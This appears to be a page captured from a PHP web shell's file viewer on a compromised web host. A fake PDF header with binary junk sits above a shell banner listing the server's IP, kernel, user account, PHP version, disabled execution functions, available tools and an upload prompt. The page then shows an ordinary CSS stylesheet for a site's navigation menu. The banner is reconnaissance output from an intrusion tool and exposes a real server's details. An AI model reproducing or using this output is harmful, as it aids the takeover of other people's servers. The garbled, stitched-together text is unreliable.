%PDF-1.5 % ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY
Server IP : 122.155.17.190 / Your IP : 3.145.163.51 Web Server : Apache/2 System : Linux cat17190.thaihostserver.com 5.10.0-21-amd64 #1 SMP Debian 5.10.162-1 (2023-01-21) x86_64 User : bungkla ( 1054) PHP Version : 5.6.40 Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/bungkla/public_html/css4/ |
Upload File : |
@font-face { font-family: 'Kanit', sans-serif; src: url('fonts/Kanit/Kanit-Medium.eot'); src: url('fonts/Kanit/Kanit-Medium.eot?#iefix') format('embedded-opentype'), url('fonts/Kanit/Kanit-Medium.woff2') format('woff2'), url('fonts/Kanit/Kanit-Medium.woff') format('woff'), url('fonts/Kanit/Kanit-Medium.ttf') format('truetype'), url('fonts/Kanit/Kanit-Medium.svg#thai_sans_lite') format('svg'); font-weight: 100; font-style: normal; } *, *:before, *:after {-moz-box-sizing:border-box;-webkit-box-sizing:border-box;box-sizing:border-box;margin:0;padding:0} body{line-height:1; font-family: 'Kanit', sans-serif; ;font-size:16px;color:#000000;} a{text-decoration:none; color:#000000;} #hader{ background-image:url(../img/menu-top.png); background-repeat:no-repeat; background-position:center; width: 100%; position:relative; z-index:9; display: flex; justify-content: center; align-items: center; } #hader:after{content:"";clear:both;display:block} .search{float:right;padding:0px} input{padding:5px;border-radius:0px} .logo{float:left;padding:3px 0 0px} .logo a{font-size:10px;display:block;padding:0 0 0 0px} nev{ display: flex; justify-content: center; align-items: center; font-family: 'Kanit', sans-serif; } nev>ul{ display: flex; justify-content: center; align-items: center;; position:relative; font-family: 'Kanit', sans-serif; } nev li{list-style:none;float:left} nev .dropdown{position:relative; } nev li a{float:left;padding:0px 0px} nev li a:hover{background:#d7edff;} nev li ul{display:none} nev li:hover ul{display:inline} nev li li{float:none} nev .dropdown ul{position:absolute;left:0;top:100%;background-image:url(../images/bg1.png);padding:0px 0;border-bottom:0px solid #b4e0ff;} nev .dropdown li{white-space:nowrap} nev .dropdown li a{padding:3px 3px;font-size:15px;font-weight: normal;min-width:220px } nev .mega-dropdown{width:100%; height:442px; position:absolute; top:85%;left:0; background-image:url(../images/bg1.png);overflow:hidden;padding:5px 5px;border-bottom:5px solid #ffffff; z-index: 99; left: 0; margin: 0; list-style: none; box-sizing: border-box; } nev li li a{float:none;color:#333;display:block;padding:5px 5px;border-radius:5px;font-size:15px;font-weight: normal; text-align:left;} nev li li a:hover{background:#c8e7ff;background:#c8e7ff;} .mega-col{width:25%;float:left; padding-top:20px;} #menu-icon{position:absolute;right:0;top:100%;margin-top:5px;margin-right:5px;display:none; text-align:center;} #menu-icon span{border:4px solid #0099ff;width:2px;margin-bottom:5px;display:block;-webkit-transition:all .2s;transition:all .1s} @media only screen and (max-width: 1000px) { nev >ul>li >a{padding:5px 5px} } @media only screen and (min-width: 960px) { nev{display:block!important} } @media only screen and (max-width: 959px) { nev{display:none;width:100%;clear:both;float:none;max-height:442px;overflow-y:scroll} #menu-icon{display:inline;top:10px;cursor:pointer} #menu-icon.active .first{transform:rotate(45deg);-webkit-transform:rotate(45deg);margin-top:0px} #menu-icon.active .second{transform:rotate(135deg);-webkit-transform:rotate(135deg);position:relative;top:0px;} #menu-icon.active .third{display:none} .search{float:none} .search input{width:100%} nev{padding:15px} nev ul{float:none} nev li{float:none} nev ul li a{float:none;padding:105px;display:block} #hader nev ul ul{display:block;position:static;background:none;border:none;padding:0} #hader nev a{color:#fff;padding:15px} #hader nev a:hover{background:#fff;color:#333;border-radius:3px} #hader nev ul li li a:before{content:"- "} .mega-col{width:50%} }